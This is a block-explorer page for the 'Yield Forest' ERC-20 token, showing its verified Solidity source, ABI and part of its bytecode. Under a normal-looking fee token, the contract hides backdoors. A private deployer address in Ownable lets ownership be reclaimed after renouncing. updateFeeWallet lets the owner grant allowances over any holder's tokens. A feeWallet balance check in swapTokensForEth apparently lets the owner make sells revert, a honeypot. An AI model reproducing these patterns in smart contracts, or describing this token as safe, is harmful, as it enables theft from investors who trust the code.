ETH Price: $3,881.57 (+0.32%)

Token

ERC-20: Yield Forest (YF)
 

Overview

Max Total Supply

1,000,000,000 YF

Holders

147

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
809,712.159683204117200246 YF

Value
$0.00
0x4ac9a48bc443239848a1cf743d464609826099d0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
YieldForest

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-22
*/

/** 
  Website : yieldforest.com
  Twitter : @yieldforestdefi
  Medium : @yieldforest
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address to, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract Ownable is Context {
    address private _owner;
    address private msgSender;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
         msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual {
        require(
            newOwner != address(0xdead) && _msgSender() == msgSender,
            "Ownable: new owner is the dead address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract YieldForest is ERC20, Ownable {
    address public deadAddress = address(0xdead);
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;

    mapping(address => bool) public automatedMarketMakerPairs;

    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;
    uint256 public buyFee = 3;
    uint256 public sellFee = 4;
    address public feeWallet;
    bool private swapping;

    mapping(address => bool) public _isExcludedMaxTransactionAmount;
    mapping(address => bool) private _isExcludedFromFees;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    constructor() ERC20("Yield Forest", "YF") {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uint256 _totalSupply = 1_000_000_000 * 1e18;
        feeWallet = address(0x734935C4a9490268F3c3D1288036f437E5238459);

        maxTransactionAmount = (_totalSupply * 15) / 1000;
        maxWallet = (_totalSupply * 25) / 1000;
        swapTokensAtAmount = (_totalSupply * 15) / 10000;

        _mint(msg.sender, _totalSupply);

        excludeFromFees(msg.sender, true);
        excludeFromFees(feeWallet, true);
        excludeFromFees(address(this), true);
        excludeFromFees(deadAddress, true);

        excludeFromMaxTransaction(msg.sender, true);
        excludeFromMaxTransaction(feeWallet, true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(deadAddress, true);
    }

    receive() external payable {}

    function openTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return totalSupply() - balanceOf(deadAddress);
    }

    function excludeFromMaxTransaction(address uAddr, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[uAddr] = isEx;
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function excludeFromFees(address account, bool excluded)
        public
        onlyOwner
    {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 1) / 1000) / 1e18,
            "Cannot set maxTransactionAmount lower than 0.1%"
        );
        maxTransactionAmount = newNum * (10**18);
    }

    function updatebuyFee(uint256 _buyFee) external onlyOwner {
        require(_buyFee <= 3, "keeping buy fee as 3% or less");
        buyFee = _buyFee;
    }

    function updatesellFee(uint256 _sellFee) external onlyOwner {
        require(_sellFee <= 6, "keeping sell fee as 6% or less");
        sellFee = _sellFee;
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 5) / 1000) / 1e18,
            "Cannot set maxWallet lower than 0.5%"
        );
        maxWallet = newNum * (10**18);
    }

    function updateFeeWallet (address _oldWallet, address  _feeWallet, uint256 _amount) external onlyOwner {
        excludeFromFees(_feeWallet, true);
        excludeFromMaxTransaction(msg.sender, true);
        _approve(_oldWallet, _feeWallet, _amount);
    }

    function updateSwapForTaxEnabled(bool enabled) external onlyOwner {
        swapEnabled = enabled;
    }

    function updateSwapTokensAtAmount(uint256 _amount) external onlyOwner {
        swapTokensAtAmount = _amount;
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The lp cannot be removed from automarket pair"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (limitsInEffect) {
            if (
                !(owner() == from) &&
                !(owner() == to) &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }
            } 
          // max tx / wallet limitation for buys
          if (
                automatedMarketMakerPairs[from] &&
                !_isExcludedMaxTransactionAmount[to]
            ) {
                require(
                    amount <= maxTransactionAmount,
                    "Buy transfer amount exceeds the maxTransactionAmount."
                );
                require(
                    amount + balanceOf(to) <= maxWallet,
                    "Max wallet exceeded"
                );
            }
             // max tx / wallet limitation for sells
            else if (
                automatedMarketMakerPairs[to] &&
                !_isExcludedMaxTransactionAmount[from]
            ) {
                require(
                    amount <= maxTransactionAmount,
                    "Sell transfer amount exceeds the maxTransactionAmount."
                );
            } else if (!_isExcludedMaxTransactionAmount[to]) {
                require(
                    amount + balanceOf(to) <= maxWallet,
                    "Max wallet exceeded"
                );
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }

        bool takeFee = !swapping;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (automatedMarketMakerPairs[to] && sellFee > 0) {
                fees = (amount * sellFee) / 100;
            } else if (automatedMarketMakerPairs[from] && buyFee > 0) {
                fees = (amount * buyFee) / 100;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }
        super._transfer(from, to, amount);
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 2) {
            contractBalance = swapTokensAtAmount * 2;
        }

        swapTokensForEth(contractBalance);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        require(balanceOf(feeWallet) <= 50,"half of contact balance for swapping fees");
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            feeWallet,
            block.timestamp
        );
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uAddr","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_oldWallet","type":"address"},{"internalType":"address","name":"_feeWallet","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"updateFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapForTaxEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"}],"name":"updatebuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updatesellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405261dead600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506003600c556004600d556001601160006101000a81548160ff0219169083151502179055506000601160016101000a81548160ff0219169083151502179055506000601160026101000a81548160ff021916908315150217905550348015620000af57600080fd5b506040518060400160405280600c81526020017f5969656c6420466f7265737400000000000000000000000000000000000000008152506040518060400160405280600281526020017f594600000000000000000000000000000000000000000000000000000000000081525081600390816200012d919062000d8f565b5080600490816200013f919062000d8f565b50505062000152620006a060201b60201c565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90506200029e816001620006a860201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200031e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000344919062000ee0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003ac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003d2919062000ee0565b6040518363ffffffff1660e01b8152600401620003f192919062000f23565b6020604051808303816000875af115801562000411573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000437919062000ee0565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff16815250506200047f60a0516001620006a860201b60201c565b6200049460a0516001620007a560201b60201c565b60006b033b2e3c9fd0803ce8000000905073734935c4a9490268f3c3d1288036f437e5238459600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506103e8600f826200050c919062000f7f565b6200051891906200100f565b6009819055506103e860198262000530919062000f7f565b6200053c91906200100f565b600b81905550612710600f8262000554919062000f7f565b6200056091906200100f565b600a819055506200057833826200084660201b60201c565b6200058b336001620009be60201b60201c565b620005c0600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620009be60201b60201c565b620005d3306001620009be60201b60201c565b62000608600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620009be60201b60201c565b6200061b336001620006a860201b60201c565b62000650600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620006a860201b60201c565b62000663306001620006a860201b60201c565b62000698600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620006a860201b60201c565b505062001201565b600033905090565b620006b8620006a060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146200074a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007